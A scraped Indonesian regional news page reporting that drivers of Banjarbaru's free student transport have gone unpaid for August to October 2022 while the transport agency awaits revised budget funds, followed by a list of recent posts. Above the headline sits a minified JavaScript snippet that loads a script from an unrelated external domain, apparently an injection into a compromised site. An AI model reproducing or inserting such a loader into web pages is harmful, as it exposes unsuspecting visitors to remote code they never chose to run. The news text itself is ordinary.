(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

3 Bulan Upah Sopir APG Belum Dibayar, Dishub Banjarbaru Tunggu Pencairan APBD-P


KANALKALIMANTAN.COM, BANJARBARU – Sopir Angkutan Pelajar Gratis (APG) di Kota Banjarbaru mengeluhkan upah angkot belum dibayarkan Dinas Perhubungan (Dishub) Kota Banjarbaru.

Dari Agustus 2022 hingga Oktober 2022 para sopir belum menerima sepeserpun uang di tiga bulan ini.

Salah seorang Sopir APG yang enggan menyebutkan namanya, mengatakan hingga kini  belum menerima upah dari Dishub Kota Banjarbaru.

“Sampai sekarang upah angkutan gratis belum dibayarkan dari bulan Agustus, September dan Oktober 2022,” katanya kepada kanalkalimantan.com, Senin (24/10/2022).

 

Baca juga  : Bibit Cabai Dibagikan, Upaya Pemprov Kalsel Kendalikan Inflasi Daerah

Ditambahkannya jumlah angkutan pelajar gratis yang ada di Kota Banjarbaru sekira 120 buah dengan bergantian 35 buah per harinya.

“Kami sudah berusaha melengkapi yang diinginkan Dishub, namun mereka (Dishub) seolah-olah memperlambat, kami para sopir sudah kehabisan modal untuk beli bahan bakar,” ungkapnya.

Masih kata si sopir, tidak hanya dirinya. Bahkan, teman-teman sopir lainnya juga ikut mengeluh sampai sekarang.

“Bukan hanya saya, teman-teman sopir lain juga mengeluh semua, selama kepala dinas yang baru semua serba terlambat. Terakhir pertemuan Kepala Dinas dengan Walikota semua akan dipercepat, tapi nyatanya sampai sekarang belum ada kejelasan,” tuntasnya.

 

Baca juga  : Jembatan Sulawesi II Telan Korban Jiwa, Ketua Komisi III Akan Panggil PUPR Banjarmasin

Sementara itu Kepala Bidang Sarana Prasarana dan Transportasi Dishub Banjarbaru, Eddy Sabara mengatakan mulai Agustus memang belum bisa dicairkan dikarenakan dana Angkutan Pelajar Gratis masuk kedalam APBD Perubahan.

“Angkutan Pelajar Gratis dibayarkan sampai 7 bulan saja itu sudah selesai, sisanya masuk APBD Perubahan dan memperbaharui surat perjanjian kerja (SPK) kembali,” katanya, Senin (24/10/2022)

Dijelaskannya terkait di APBD Perubahan pihaknya masih belum bisa menggunakannya.

“SPJ nya sudah disiapkan, kalau sudah diperbolehkan belanja, akan langsung dibayarkan, karena jika semua terkait dengan APBD Perubahan semuanya belum dibayarkan, kalau anggaran murni sudah kita bayarkan,” jelasnya.

Dibeberkannya sebelumnya pihaknya sudah menyampaikan kepada pihak Organisasi Angkutan Darat (Organda) Kota Banjarbaru, bahwa terjadi keterlambatan karena harus memperbaharui SPK dan masuk ke APBD Perubahan yang belum bisa dibelanjakan.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

5 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

5 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

6 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

8 jam ago

This website uses cookies.